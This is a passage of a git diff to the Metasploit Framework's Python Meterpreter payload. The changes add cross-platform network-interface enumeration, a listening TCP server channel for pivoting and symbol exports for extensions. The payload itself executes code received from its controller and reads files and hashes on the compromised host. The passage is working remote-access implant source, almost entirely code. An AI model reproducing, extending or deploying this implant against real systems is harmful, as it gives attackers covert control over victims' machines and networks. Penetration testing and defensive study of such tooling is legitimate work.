+	dwVersion = ctypes.windll.kernel32.GetVersion()
+	dwMajorVersion =  (dwVersion & 0x000000ff)
+	dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
+	dwBuild        = ((dwVersion & 0xffff0000) >> 16)
+	return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
+
 @meterpreter.register_function
-def channel_create_stdapi_fs_file(request, response):
+def channel_open_stdapi_fs_file(request, response):
 	fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
 	fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
 	if fmode:
@@ -353,7 +564,7 @@ def channel_create_stdapi_fs_file(request, response):
 	return ERROR_SUCCESS, response
 
 @meterpreter.register_function
-def channel_create_stdapi_net_tcp_client(request, response):
+def channel_open_stdapi_net_tcp_client(request, response):
 	host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
 	port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
 	local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
@@ -373,7 +584,19 @@ def channel_create_stdapi_net_tcp_client(request, response):
 			pass
 	if not connected:
 		return ERROR_CONNECTION_ERROR, response
-	channel_id = meterpreter.add_channel(sock)
+	channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock))
+	response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
+	return ERROR_SUCCESS, response
+
+@meterpreter.register_function
+def channel_open_stdapi_net_tcp_server(request, response):
+	local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
+	local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
+	server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+	server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+	server_sock.bind((local_host, local_port))
+	server_sock.listen(socket.SOMAXCONN)
+	channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock))
 	response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
 	return ERROR_SUCCESS, response
 
@@ -675,12 +898,12 @@ def stdapi_fs_ls(request, response):
 
 @meterpreter.register_function
 def stdapi_fs_md5(request, response):
-	if sys.version_info[0] == 2 and sys.version_info[1] < 5:
-		import md5
-		m = md5.new()
-	else:
+	try:
 		import hashlib
 		m = hashlib.md5()
+	except ImportError:
+		import md5
+		m = md5.new()
 	path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
 	m.update(open(path, 'rb').read())
 	response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
@@ -722,12 +945,12 @@ def stdapi_fs_separator(request, response):
 
 @meterpreter.register_function
 def stdapi_fs_sha1(request, response):
-	if sys.version_info[0] == 2 and sys.version_info[1] < 5:
-		import sha1
-		m = sha1.new()
-	else:
+	try:
 		import hashlib
 		m = hashlib.sha1()
+	except ImportError:
+		import sha
+		m = sha.new()
 	path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
 	m.update(open(path, 'rb').read())
 	response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
@@ -740,6 +963,235 @@ def stdapi_fs_stat(request, response):
 	response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
 	return ERROR_SUCCESS, response
 
+@meterpreter.register_function
+def stdapi_net_config_get_interfaces(request, response):
+	if hasattr(socket, 'AF_NETLINK'):
+		interfaces = stdapi_net_config_get_interfaces_via_netlink()
+	elif has_osxsc:
+		interfaces = stdapi_net_config_get_interfaces_via_osxsc()
+	elif has_windll:
+		interfaces = stdapi_net_config_get_interfaces_via_windll()
+	else:
+		return ERROR_FAILURE, response
+	for iface_info in interfaces:
+		iface_tlv  = ''
+		iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
+		iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
+		if 'mtu' in iface_info:
+			iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
+		if 'flags' in iface_info:
+			iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
+		iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
+		for address in iface_info.get('addrs', []):
+			iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
+			if isinstance(address[2], (int, long)):
+				iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
+			else:
+				iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
+		response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
+	return ERROR_SUCCESS, response
+
+def stdapi_net_config_get_interfaces_via_netlink():
+	rta_align = lambda l: l+3 & ~3
+	iface_flags = {
+		0x0001: 'UP',
+		0x0002: 'BROADCAST',
+		0x0008: 'LOOPBACK',
+		0x0010: 'POINTTOPOINT',
+		0x0040: 'RUNNING',
+		0x0100: 'PROMISC',
+		0x1000: 'MULTICAST'
+	}
+	iface_flags_sorted = iface_flags.keys()
+	# Dictionaries don't maintain order
+	iface_flags_sorted.sort()
+	interfaces = {}
+
+	responses = netlink_request(RTM_GETLINK)
+	for res_data in responses:
+		iface = cstruct_unpack(IFINFOMSG, res_data)
+		iface_info = {'index':iface.index}
+		flags = []
+		for flag in iface_flags_sorted:
+			if (iface.flags & flag):
+				flags.append(iface_flags[flag])
+		iface_info['flags'] = ' '.join(flags)
+		cursor = ctypes.sizeof(IFINFOMSG)
+		while cursor < len(res_data):
+			attribute = cstruct_unpack(RTATTR, res_data[cursor:])
+			at_len = attribute.len
+			attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
+			cursor += rta_align(at_len)
+
+			if attribute.type == IFLA_ADDRESS:
+				iface_info['hw_addr'] = attr_data
+			elif attribute.type == IFLA_IFNAME:
+				iface_info['name'] = attr_data
+			elif attribute.type == IFLA_MTU:
+				iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
+		interfaces[iface.index] = iface_info
+
+	responses = netlink_request(RTM_GETADDR)
+	for res_data in responses:
+		iface = cstruct_unpack(IFADDRMSG, res_data)
+		if not iface.family in (socket.AF_INET, socket.AF_INET6):
+			continue
+		iface_info = interfaces.get(iface.index, {})
+		cursor = ctypes.sizeof(IFADDRMSG)
+		while cursor < len(res_data):
+			attribute = cstruct_unpack(RTATTR, res_data[cursor:])
+			at_len = attribute.len
+			attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
+			cursor += rta_align(at_len)
+
+			if attribute.type == IFA_ADDRESS:
+				nm_bits = iface.prefixlen
+				if iface.family == socket.AF_INET:
+					netmask = struct.pack('!I', calculate_32bit_netmask(nm_bits))
+				else:
+					if nm_bits >= 96:
+						netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits))
+					elif nm_bits >= 64:
+						netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0)
+					elif nm_bits >= 32:
+						netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0)
+					else:
+						netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0)
+				addr_list = iface_info.get('addrs', [])
+				addr_list.append((iface.family, attr_data, netmask))
+				iface_info['addrs'] = addr_list
+			elif attribute.type == IFA_LABEL:
+				iface_info['name'] = attr_data
+		interfaces[iface.index] = iface_info
+	return interfaces.values()
+
+def stdapi_net_config_get_interfaces_via_osxsc():
+	ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None)
+	entities = []
+	entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4))
+	entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6))
+	patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks)
+	values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns)
+	interfaces = {}
+	for key, value in values.items():
+		iface_name = key.split('/')[3]
+		iface_info = interfaces.get(iface_name, {})
+		iface_info['name'] = str(iface_name)
+		if key.endswith('IPv4'):
+			family = socket.AF_INET
+		elif key.endswith('IPv6'):
+			family = socket.AF_INET6
+		else:
+			continue
+		iface_addresses = iface_info.get('addrs', [])
+		for idx in range(len(value['Addresses'])):
+			if family == socket.AF_INET:
+				iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx])))
+			else:
+				iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx]))
+		iface_info['addrs'] = iface_addresses
+		interfaces[iface_name] = iface_info
+	for iface_ref in osxsc.SCNetworkInterfaceCopyAll():
+		iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref)
+		if not iface_name in interfaces:
+			iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref)
+			if not iface_type in ['Ethernet', 'IEEE80211']:
+				continue
+			interfaces[iface_name] = {'name': str(iface_name)}
+		iface_info = interfaces[iface_name]
+		mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1]
+		iface_info['mtu'] = mtu
+		hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref)
+		if hw_addr:
+			hw_addr = hw_addr.replace(':', '')
+			hw_addr = hw_addr.decode('hex')
+			iface_info['hw_addr'] = hw_addr
+	ifnames = interfaces.keys()
+	ifnames.sort()
+	for iface_name, iface_info in interfaces.items():
+		iface_info['index'] = ifnames.index(iface_name)
+	return interfaces.values()
+
+def stdapi_net_config_get_interfaces_via_windll():
+	iphlpapi = ctypes.windll.iphlpapi
+	if not hasattr(iphlpapi, 'GetAdaptersAddresses'):
+		return stdapi_net_config_get_interfaces_via_windll_mib()
+	Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
+	AdapterAddresses = ctypes.c_void_p()
+	SizePointer = ctypes.c_ulong()
+	SizePointer.value = 0
+	iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
+	AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
+	iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
+	AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
+	AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
+	if AdapterAddresses.u.s.Length <= 72:
+		return stdapi_net_config_get_interfaces_via_windll_mib()
+	win_version = windll_GetVersion()
+	interfaces = []
+	pAdapterAddresses = ctypes.byref(AdapterAddresses)
+	while pAdapterAddresses:
+		AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
+		pAdapterAddresses = AdapterAddresses.Next
+		pFirstPrefix = AdapterAddresses.FirstPrefix
+		iface_info = {}
+		iface_info['index'] = AdapterAddresses.u.s.IfIndex
+		if AdapterAddresses.PhysicalAddressLength:
+			iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
+		iface_info['name'] = str(ctypes.wstring_at(AdapterAddresses.Description))
+		iface_info['mtu'] = AdapterAddresses.Mtu
+		pUniAddr = AdapterAddresses.FirstUnicastAddress
+		while pUniAddr:
+			UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
+			pUniAddr = UniAddr.Next
+			address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
+			if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
+				continue
+			prefix = 0
+			if win_version.dwMajorVersion >= 6:
+				prefix = UniAddr.OnLinkPrefixLength
+			elif pFirstPrefix:
+				ip_adapter_prefix = 'QPPIL'
+				prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
+				prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
+			iface_addresses = iface_info.get('addrs', [])
+			if address.sa_family == socket.AF_INET:
+				iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
+			else:
+				iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
+			iface_info['addrs'] = iface_addresses
+		interfaces.append(iface_info)
+	return interfaces
+
+def stdapi_net_config_get_interfaces_via_windll_mib():
+	iphlpapi = ctypes.windll.iphlpapi
+	table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))()
+	pdwSize = ctypes.c_ulong()
+	pdwSize.value = ctypes.sizeof(table)
+	if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0):
+		return None
+	interfaces = []
+	table_data = ctypes.string_at(table, pdwSize.value)
+	entries = struct.unpack('I', table_data[:4])[0]
+	table_data = table_data[4:]
+	for i in xrange(entries):
+		addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
+		ifrow = MIB_IFROW()
+		ifrow.dwIndex = addrrow.dwIndex
+		if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0:
+			continue
+		iface_info = {}
+		table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):]
+		iface_info['index'] = addrrow.dwIndex
+		iface_info['addrs'] = [(socket.AF_INET, struct.pack('<I', addrrow.dwAddr), struct.pack('<I', addrrow.dwMask))]
+		if ifrow.dwPhysAddrLen:
+			iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(ifrow.bPhysAddr), ifrow.dwPhysAddrLen)
+		if ifrow.dwDescrLen:
+			iface_info['name'] = ifrow.bDescr
+		iface_info['mtu'] = ifrow.dwMtu
+		interfaces.append(iface_info)
+	return interfaces
+
 @meterpreter.register_function
 def stdapi_net_resolve_host(request, response):
 	hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
@@ -776,9 +1228,10 @@ def stdapi_net_resolve_hosts(request, response):
 
 @meterpreter.register_function
 def stdapi_net_socket_tcp_shutdown(request, response):
-	channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
+	channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
+	how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
 	channel = meterpreter.channels[channel_id]
-	channel.close()
+	channel.shutdown(how)
 	return ERROR_SUCCESS, response
 
 @meterpreter.register_function_windll
diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll
index 8c539121e9..8c96c6c836 100755
Binary files a/data/meterpreter/ext_server_stdapi.x64.dll and b/data/meterpreter/ext_server_stdapi.x64.dll differ
diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll
index 0aa9e3f520..ed5983658d 100755
Binary files a/data/meterpreter/ext_server_stdapi.x86.dll and b/data/meterpreter/ext_server_stdapi.x86.dll differ
diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py
index 211d9f94c3..979ebb4107 100644
--- a/data/meterpreter/meterpreter.py
+++ b/data/meterpreter/meterpreter.py
@@ -1,6 +1,12 @@
 #!/usr/bin/python
 import code
-import ctypes
+try:
+	import ctypes
+except:
+	has_windll = False
+else:
+	has_windll = hasattr(ctypes, 'windll')
+
 import os
 import random
 import select
@@ -10,14 +16,12 @@ import subprocess
 import sys
 import threading
 
-has_windll = hasattr(ctypes, 'windll')
-
 #
 # Constants
 #
-PACKET_TYPE_REQUEST = 0
-PACKET_TYPE_RESPONSE = 1
-PACKET_TYPE_PLAIN_REQUEST = 10
+PACKET_TYPE_REQUEST        = 0
+PACKET_TYPE_RESPONSE       = 1
+PACKET_TYPE_PLAIN_REQUEST  = 10
 PACKET_TYPE_PLAIN_RESPONSE = 11
 
 ERROR_SUCCESS = 0
@@ -25,74 +29,103 @@ ERROR_SUCCESS = 0
 ERROR_FAILURE = 1
 
 CHANNEL_CLASS_BUFFERED = 0
-CHANNEL_CLASS_STREAM = 1
+CHANNEL_CLASS_STREAM   = 1
 CHANNEL_CLASS_DATAGRAM = 2
-CHANNEL_CLASS_POOL = 3
+CHANNEL_CLASS_POOL     = 3
 
 #
 # TLV Meta Types
 #
-TLV_META_TYPE_NONE =       (   0   )
-TLV_META_TYPE_STRING =     (1 << 16)
-TLV_META_TYPE_UINT =       (1 << 17)
-TLV_META_TYPE_RAW =        (1 << 18)
-TLV_META_TYPE_BOOL =       (1 << 19)
+TLV_META_TYPE_NONE       = (   0   )
+TLV_META_TYPE_STRING     = (1 << 16)
+TLV_META_TYPE_UINT       = (1 << 17)
+TLV_META_TYPE_RAW        = (1 << 18)
+TLV_META_TYPE_BOOL       = (1 << 19)
 TLV_META_TYPE_COMPRESSED = (1 << 29)
-TLV_META_TYPE_GROUP =      (1 << 30)
-TLV_META_TYPE_COMPLEX =    (1 << 31)
+TLV_META_TYPE_GROUP      = (1 << 30)
+TLV_META_TYPE_COMPLEX    = (1 << 31)
 # not defined in original
-TLV_META_TYPE_MASK =    (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
+TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
 
 #
 # TLV base starting points
 #
-TLV_RESERVED =   0
+TLV_RESERVED   = 0
 TLV_EXTENSIONS = 20000
-TLV_USER =       40000
-TLV_TEMP =       60000
+TLV_USER       = 40000
+TLV_TEMP       = 60000
 
 #
 # TLV Specific Types
 #
-TLV_TYPE_ANY =                 TLV_META_TYPE_NONE   |   0
-TLV_TYPE_METHOD =              TLV_META_TYPE_STRING |   1
-TLV_TYPE_REQUEST_ID =          TLV_META_TYPE_STRING |   2
-TLV_TYPE_EXCEPTION =           TLV_META_TYPE_GROUP  |   3
-TLV_TYPE_RESULT =              TLV_META_TYPE_UINT   |   4
+TLV_TYPE_ANY                   = TLV_META_TYPE_NONE    | 0
+TLV_TYPE_METHOD                = TLV_META_TYPE_STRING  | 1
+TLV_TYPE_REQUEST_ID            = TLV_META_TYPE_STRING  | 2
+TLV_TYPE_EXCEPTION             = TLV_META_TYPE_GROUP   | 3
+TLV_TYPE_RESULT                = TLV_META_TYPE_UINT    | 4
 
-TLV_TYPE_STRING =              TLV_META_TYPE_STRING |  10
-TLV_TYPE_UINT =                TLV_META_TYPE_UINT   |  11
-TLV_TYPE_BOOL =                TLV_META_TYPE_BOOL   |  12
+TLV_TYPE_STRING                = TLV_META_TYPE_STRING  | 10
+TLV_TYPE_UINT                  = TLV_META_TYPE_UINT    | 11
+TLV_TYPE_BOOL                  = TLV_META_TYPE_BOOL    | 12
 
-TLV_TYPE_LENGTH =              TLV_META_TYPE_UINT   |  25
-TLV_TYPE_DATA =                TLV_META_TYPE_RAW    |  26
-TLV_TYPE_FLAGS =               TLV_META_TYPE_UINT   |  27
+TLV_TYPE_LENGTH                = TLV_META_TYPE_UINT    | 25
+TLV_TYPE_DATA                  = TLV_META_TYPE_RAW     | 26
+TLV_TYPE_FLAGS                 = TLV_META_TYPE_UINT    | 27
 
-TLV_TYPE_CHANNEL_ID =          TLV_META_TYPE_UINT   |  50
-TLV_TYPE_CHANNEL_TYPE =        TLV_META_TYPE_STRING |  51
-TLV_TYPE_CHANNEL_DATA =        TLV_META_TYPE_RAW    |  52
-TLV_TYPE_CHANNEL_DATA_GROUP =  TLV_META_TYPE_GROUP  |  53
-TLV_TYPE_CHANNEL_CLASS =       TLV_META_TYPE_UINT   |  54
+TLV_TYPE_CHANNEL_ID            = TLV_META_TYPE_UINT    | 50
+TLV_TYPE_CHANNEL_TYPE          = TLV_META_TYPE_STRING  | 51
+TLV_TYPE_CHANNEL_DATA          = TLV_META_TYPE_RAW     | 52
+TLV_TYPE_CHANNEL_DATA_GROUP    = TLV_META_TYPE_GROUP   | 53
+TLV_TYPE_CHANNEL_CLASS         = TLV_META_TYPE_UINT    | 54
+TLV_TYPE_CHANNEL_PARENTID      = TLV_META_TYPE_UINT    | 55
 
-TLV_TYPE_SEEK_WHENCE =         TLV_META_TYPE_UINT   |  70
-TLV_TYPE_SEEK_OFFSET =         TLV_META_TYPE_UINT   |  71
-TLV_TYPE_SEEK_POS =            TLV_META_TYPE_UINT   |  72
+TLV_TYPE_SEEK_WHENCE           = TLV_META_TYPE_UINT    | 70
+TLV_TYPE_SEEK_OFFSET           = TLV_META_TYPE_UINT    | 71
+TLV_TYPE_SEEK_POS              = TLV_META_TYPE_UINT    | 72
 
-TLV_TYPE_EXCEPTION_CODE =      TLV_META_TYPE_UINT   | 300
-TLV_TYPE_EXCEPTION_STRING =    TLV_META_TYPE_STRING | 301
+TLV_TYPE_EXCEPTION_CODE        = TLV_META_TYPE_UINT    | 300
+TLV_TYPE_EXCEPTION_STRING      = TLV_META_TYPE_STRING  | 301
 
-TLV_TYPE_LIBRARY_PATH =        TLV_META_TYPE_STRING | 400
-TLV_TYPE_TARGET_PATH =         TLV_META_TYPE_STRING | 401
-TLV_TYPE_MIGRATE_PID =         TLV_META_TYPE_UINT   | 402
-TLV_TYPE_MIGRATE_LEN =         TLV_META_TYPE_UINT   | 403
+TLV_TYPE_LIBRARY_PATH          = TLV_META_TYPE_STRING  | 400
+TLV_TYPE_TARGET_PATH           = TLV_META_TYPE_STRING  | 401
+TLV_TYPE_MIGRATE_PID           = TLV_META_TYPE_UINT    | 402
+TLV_TYPE_MIGRATE_LEN           = TLV_META_TYPE_UINT    | 403
 
-TLV_TYPE_CIPHER_NAME =         TLV_META_TYPE_STRING | 500
-TLV_TYPE_CIPHER_PARAMETERS =   TLV_META_TYPE_GROUP  | 501
+TLV_TYPE_CIPHER_NAME           = TLV_META_TYPE_STRING  | 500
+TLV_TYPE_CIPHER_PARAMETERS     = TLV_META_TYPE_GROUP   | 501
+
+TLV_TYPE_PEER_HOST             = TLV_META_TYPE_STRING  | 1500
+TLV_TYPE_PEER_PORT             = TLV_META_TYPE_UINT    | 1501
+TLV_TYPE_LOCAL_HOST            = TLV_META_TYPE_STRING  | 1502
+TLV_TYPE_LOCAL_PORT            = TLV_META_TYPE_UINT    | 1503
+
+EXPORTED_SYMBOLS = {}
+
+def export(symbol):
+	EXPORTED_SYMBOLS[symbol.__name__] = symbol
+	return symbol
 
 def generate_request_id():
 	chars = 'abcdefghijklmnopqrstuvwxyz'
 	return ''.join(random.choice(chars) for x in xrange(32))
 
+@export
+def inet_pton(family, address):
+	if hasattr(socket, 'inet_pton'):
+		return socket.inet_pton(family, address)
+	elif has_windll:
+		WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
+		lpAddress = (ctypes.c_ubyte * 28)()
+		lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
+		if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
+			raise Exception('WSAStringToAddress failed')
+		if family == socket.AF_INET:
+			return ''.join(map(chr, lpAddress[4:8]))
+		elif family == socket.AF_INET6:
+			return ''.join(map(chr, lpAddress[8:24]))
+	raise Exception('no suitable inet_pton functionality is available')
+
+@export
 def packet_get_tlv(pkt, tlv_type):
 	offset = 0
 	while (offset < len(pkt)):
@@ -111,6 +144,7 @@ def packet_get_tlv(pkt, tlv_type):
 		offset += tlv[0]
 	return {}
 
+@export
 def packet_enum_tlvs(pkt, tlv_type = None):
 	offset = 0
 	while (offset < len(pkt)):
@@ -129,6 +163,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
 		offset += tlv[0]
 	raise StopIteration()
 
+@export
 def tlv_pack(*args):
 	if len(args) == 2:
 		tlv = {'type':args[0], 'value':args[1]}
@@ -149,6 +184,25 @@ def tlv_pack(*args):
 		data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
 	return data
 
+#@export
+class MeterpreterSocket(object):
+	def __init__(self, sock):
+		self.sock = sock
+
+	def __getattr__(self, name):
+		return getattr(self.sock, name)
+export(MeterpreterSocket)
+
+#@export
+class MeterpreterSocketClient(MeterpreterSocket):
+	pass
+export(MeterpreterSocketClient)
+
+#@export
+class MeterpreterSocketServer(MeterpreterSocket):
+	pass
+export(MeterpreterSocketServer)
+
 class STDProcessBuffer(threading.Thread):
 	def __init__(self, std, is_alive):
 		threading.Thread.__init__(self)
@@ -158,15 +212,10 @@ class STDProcessBuffer(threading.Thread):
 		self.data_lock = threading.RLock()
 
 	def run(self):
-		while self.is_alive():
-			byte = self.std.read(1)
+		for byte in iter(lambda: self.std.read(1), ''):
 			self.data_lock.acquire()
 			self.data += byte
 			self.data_lock.release()
-		data = self.std.read()
-		self.data_lock.acquire()
-		self.data += data
-		self.data_lock.release()
 
 	def is_read_ready(self):
 		return len(self.data) != 0
@@ -183,6 +232,7 @@ class STDProcessBuffer(threading.Thread):
 		self.data_lock.release()
 		return data
 
+#@export
 class STDProcess(subprocess.Popen):
 	def __init__(self, *args, **kwargs):
 		subprocess.Popen.__init__(self, *args, **kwargs)
@@ -192,6 +242,7 @@ class STDProcess(subprocess.Popen):
 		self.stdout_reader.start()
 		self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
 		self.stderr_reader.start()
+export(STDProcess)
 
 class PythonMeterpreter(object):
 	def __init__(self, socket):
@@ -206,10 +257,12 @@ class PythonMeterpreter(object):
 
 	def register_function(self, func):
 		self.extension_functions[func.__name__] = func
+		return func
 
 	def register_function_windll(self, func):
 		if has_windll:
 			self.register_function(func)
+		return func
 
 	def add_channel(self, channel):
 		idx = 0
@@ -240,7 +293,8 @@ class PythonMeterpreter(object):
 				self.socket.send(response)
 			else:
 				channels_for_removal = []
-				channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
+				# iterate over the keys because self.channels could be modified if one is closed
+				channel_ids = self.channels.keys()
 				for channel_id in channel_ids:
 					channel = self.channels[channel_id]
 					data = ''
@@ -253,7 +307,7 @@ class PythonMeterpreter(object):
 							data = channel.stderr_reader.read()
 						elif channel.poll() != None:
 							self.handle_dead_resource_channel(channel_id)
-					elif isinstance(channel, socket._socketobject):
+					elif isinstance(channel, MeterpreterSocketClient):
 						while len(select.select([channel.fileno()], [], [], 0)[0]):
 							try:
 								d = channel.recv(1)
@@ -263,6 +317,21 @@ class PythonMeterpreter(object):
 								self.handle_dead_resource_channel(channel_id)
 								break
 							data += d
+					elif isinstance(channel, MeterpreterSocketServer):
+						if len(select.select([channel.fileno()], [], [], 0)[0]):
+							(client_sock, client_addr) = channel.accept()
+							server_addr = channel.getsockname()
+							client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
+							pkt  = struct.pack('>I', PACKET_TYPE_REQUEST)
+							pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
+							pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
+							pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
+							pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
+							pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
+							pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
+							pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
+							pkt  = struct.pack('>I', len(pkt) + 4) + pkt
+							self.socket.send(pkt)
 					if data:
 						pkt  = struct.pack('>I', PACKET_TYPE_REQUEST)
 						pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
@@ -289,7 +358,9 @@ class PythonMeterpreter(object):
 		if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
 			return ERROR_FAILURE
 		preloadlib_methods = self.extension_functions.keys()
-		i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
+		symbols_for_extensions = {'meterpreter':self}
+		symbols_for_extensions.update(EXPORTED_SYMBOLS)
+		i = code.InteractiveInterpreter(symbols_for_extensions)
 		i.runcode(compile(data_tlv['value'], '', 'exec'))
 		postloadlib_methods = self.extension_functions.keys()
 		new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
@@ -304,7 +375,7 @@ class PythonMeterpreter(object):
 
 	def _core_channel_open(self, request, response):
 		channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
-		handler = 'channel_create_' + channel_type['value']
+		handler = 'channel_open_' + channel_type['value']
 		if handler not in self.extension_functions:
 			return ERROR_FAILURE, response
 		handler = self.extension_functions[handler]
@@ -319,7 +390,7 @@ class PythonMeterpreter(object):
 			channel.close()
 		elif isinstance(channel, subprocess.Popen):
 			channel.kill()
-		elif isinstance(s, socket._socketobject):
+		elif isinstance(channel, MeterpreterSocket):
 			channel.close()
 		else:
 			return ERROR_FAILURE, response
@@ -335,7 +406,7 @@ class PythonMeterpreter(object):
 		channel = self.channels[channel_id]
 		result = False
 		if isinstance(channel, file):
-			result = channel.tell() == os.fstat(channel.fileno()).st_size
